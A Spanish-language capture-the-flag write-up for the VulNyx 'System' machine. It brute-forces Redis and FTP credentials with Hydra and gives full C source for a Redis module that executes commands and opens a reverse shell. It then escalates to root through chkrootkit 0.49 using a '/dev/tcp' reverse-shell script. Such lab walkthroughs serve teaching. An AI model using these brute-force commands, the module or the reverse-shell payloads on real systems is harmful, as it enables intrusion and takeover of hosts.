VulNyx - System

logo

  • Redis Password Brute-Force using Hydra
  • FTP Username Brute-Force using Hydra
  • Arbitrary Command Execution via RedisModules-ExecuteCommand
  • Chkrootkit 0.49 – Local Privilege Escalation – CVE-2014-0476

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.38

PORT     STATE SERVICE     REASON
2121/tcp open  ccproxy-ftp syn-ack ttl 64
6379/tcp open  redis       syn-ack ttl 64
8000/tcp open  http-alt    syn-ack ttl 64

Escaneo de servicios

❯ nmap -sVC -p 2121,6379,8000 172.0.100.38

PORT     STATE SERVICE VERSION
2121/tcp open  ftp     pyftpdlib 1.5.6
| ftp-syst: 
|   STAT: 
| FTP server status:
|  Connected to: 172.0.100.38:2121
|  Waiting for username.
|  TYPE: ASCII; STRUcture: File; MODE: Stream
|  Data connection closed.
|_End of status.
6379/tcp open  redis   Redis key-value store
8000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.9.2)
|_http-server-header: SimpleHTTP/0.6 Python/3.9.2
|_http-title: Site doesn't have a title (text/html).

FTP - TCP 2121

El intento de autenticación con credenciales anonymous falla, lo que indica que el servicio no permite acceso anónimo y requiere credenciales válidas. No se dispone de usuarios conocidos que permitan llevar a cabo un ataque de fuerza bruta.

❯ ftp 172.0.100.38 -p 2121
Connected to 172.0.100.38.
220 pyftpdlib 1.5.6 ready.
Name (172.0.100.38:noname): anonymous
331 Username ok, send password.
Password: 
530 Anonymous access not allowed.
ftp: Login failed
ftp> 

REDIS - TCP 6379

En el servicio Redis, el intento de conexión sin autenticación también falla, lo que indica que el acceso está restringido mediante una contraseña.

redis

HTTP - TCP 8000

http

Se realiza un ataque de fuerza bruta al servicio Redis utilizando hydra, lo que permite obtener una contraseña válida para el acceso.

❯ hydra -t 64 -P "/usr/share/wordlists/rockyou.txt" -s 6379 172.0.100.38 redis -V -F -I
[6379][redis] host: 172.0.100.38   password: bonjour

Se establece conexión con el servicio Redis utilizando la contraseña obtenida; sin embargo, en esta fase no se identifican vectores adicionales de explotación o interacción útil.

redis

Se dispone de una contraseña previamente obtenida que podría ser reutilizable en el servicio FTP. Para validarlo, se procede a realizar un ataque de fuerza bruta sobre el nombre de usuario utilizando hydra.

❯ hydra -t 64 -L "/usr/share/seclists/Usernames/Names/names.txt" -p "bonjour" -s 2121 172.0.100.38 ftp -V -F -I

En pocos segundos, el ataque de fuerza bruta permite identificar un nombre de usuario válido para el servicio FTP.

[2121][ftp] host: 172.0.100.38   login: ben   password: bonjour

Con las credenciales válidas, se establece una conexión exitosa al servidor FTP.

❯ ftp 172.0.100.38 -p 2121
Connected to 172.0.100.38.
220 pyftpdlib 1.5.6 ready.
Name (172.0.100.38:noname): ben
331 Username ok, send password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

Se crea el archivo test.txt con el objetivo de verificar si el usuario autenticado dispone de permisos de escritura en el servidor FTP mediante la subida del mismo.

ftp> put test.txt
local: test.txt remote: test.txt
229 Entering extended passive mode (|||40675|).
125 Data connection already open. Transfer starting.
     0        0.00 KiB/s 
226 Transfer complete.
ftp> ls
229 Entering extended passive mode (|||40011|).
125 Data connection already open. Transfer starting.
-rw-r--r--   1 ben      ben             0 May 02 15:41 test.txt
226 Transfer complete.

Al consultar HackTricks, encuentro el artículo Load Redis Module, que describe cómo compilar un módulo para Redis que permite ejecutar comandos arbitrarios en el servidor. Se descarga el módulo desde el repositorio para proceder con su compilación.

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

Al ejecutar el comando make, se presentan varios errores de compilación. Sin embargo, con la asistencia de Copilot, logro solucionar los problemas y completar el proceso de compilación con éxito.

module.c corregido

#include <string.h>
#include "redismodule.h"
#include <arpa/inet.h>
#include <stdio.h> 
#include <unistd.h>  
#include <stdlib.h> 
#include <errno.h>   
#include <sys/wait.h>
#include <sys/types.h> 
#include <sys/socket.h>
#include <netinet/in.h>

int DoCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    if (argc == 2) {
        size_t cmd_len;
        size_t size = 1024;
        const char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);

        FILE *fp = popen(cmd, "r");
        if (!fp) {
            return RedisModule_ReplyWithError(ctx, "Error al ejecutar el comando");
        }

        char *buf = (char *)malloc(size);
        char *output = (char *)malloc(size);
        if (!buf || !output) {
            return RedisModule_ReplyWithError(ctx, "Error en la asignación de memoria");
        }
        
        output[0] = '\0';  // Inicializar `output` como cadena vacía
        while (fgets(buf, size, fp) != NULL) {
            if (strlen(buf) + strlen(output) >= size) {
                size <<= 1;
                output = realloc(output, size);
                if (!output) {
                    return RedisModule_ReplyWithError(ctx, "Error en la re-asignación de memoria");
                }
            }
            strcat(output, buf);
        }

        RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
        RedisModule_ReplyWithString(ctx, ret);
        free(buf);
        free(output);
        pclose(fp);
    } else {
        return RedisModule_WrongArity(ctx);
    }
    return REDISMODULE_OK;
}

int RevShellCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    if (argc == 3) {
        size_t cmd_len;
        const char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len);
        const char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len);
        int port = atoi(port_s);

        struct sockaddr_in sa;
        sa.sin_family = AF_INET;
        sa.sin_port = htons(port);
        sa.sin_addr.s_addr = inet_addr(ip);

        int sock = socket(AF_INET, SOCK_STREAM, 0);
        if (sock < 0) {
            return RedisModule_ReplyWithError(ctx, "Error al crear el socket");
        }

        if (connect(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
            return RedisModule_ReplyWithError(ctx, "Error en la conexión al servidor remoto");
        }

        dup2(sock, 0); // Redirigir stdin
        dup2(sock, 1); // Redirigir stdout
        dup2(sock, 2); // Redirigir stderr

        char *args[] = {"/bin/sh", NULL};
        execve("/bin/sh", args, NULL);

        close(sock);
    } else {
        return RedisModule_WrongArity(ctx);
    }
    return REDISMODULE_OK;
}

Tras resolver los errores de compilación, se genera correctamente el archivo module.so, listo para ser cargado en el servidor Redis.

module

Se establece conexión con el servicio FTP y se procede a subir el archivo module.so al servidor.

ftpmodule

Es necesario identificar la ruta absoluta del archivo para poder referenciarlo correctamente desde Redis. Con la ayuda de Copilot, se obtienen varias rutas potenciales que podrían ser útiles para su ejecución.

copilot

Me conecto nuevamente al servidor Redis para cargar el módulo, utilizando la ruta /srv/ftp para su carga en el servidor.

MODULE LOAD /srv/ftp/module.so

module_load

Con apoyo del README, logro ejecutar comandos y verificar que se ejecutan correctamente.

rce

Tras confirmar la ejecución remota de comandos, dejo un netcat a la escucha y obtengo una shell inversa satisfactoriamente.

shell

Una vez dentro de la máquina objetivo, enumero los procesos del sistema utilizando pspy64 y encuentro un proceso ejecutándose con UID 0, lo que indica que tiene privilegios de root.

chkrootkit

Ejecuto chkrootkit -V para obtener la versión de la aplicación instalada en la máquina objetivo.

ben@system:/dev/shm$ chkrootkit -V
chkrootkit version 0.49

Al buscar chkrootkit version 0.49 exploit, encuentro esta web que describe una vulnerabilidad en el paquete chkrootkit. Esta vulnerabilidad podría permitir a atacantes locales obtener privilegios de root en ciertas configuraciones, específicamente cuando /tmp no está montado con la opción noexec.

Creación del archivo malicioso

ben@system:/dev/shm$ echo '#!/bin/bash' > /tmp/update
ben@system:/dev/shm$ echo 'bash -i >& /dev/tcp/172.0.100.25/443 0>&1' >> /tmp/update
ben@system:/dev/shm$ chmod +x /tmp/update

En pocos segundos, logro obtener acceso como root, aprovechando la vulnerabilidad en chkrootkit.

root

Y así concluye el viaje en la máquina System.

Que el destino te guíe.

Saludos.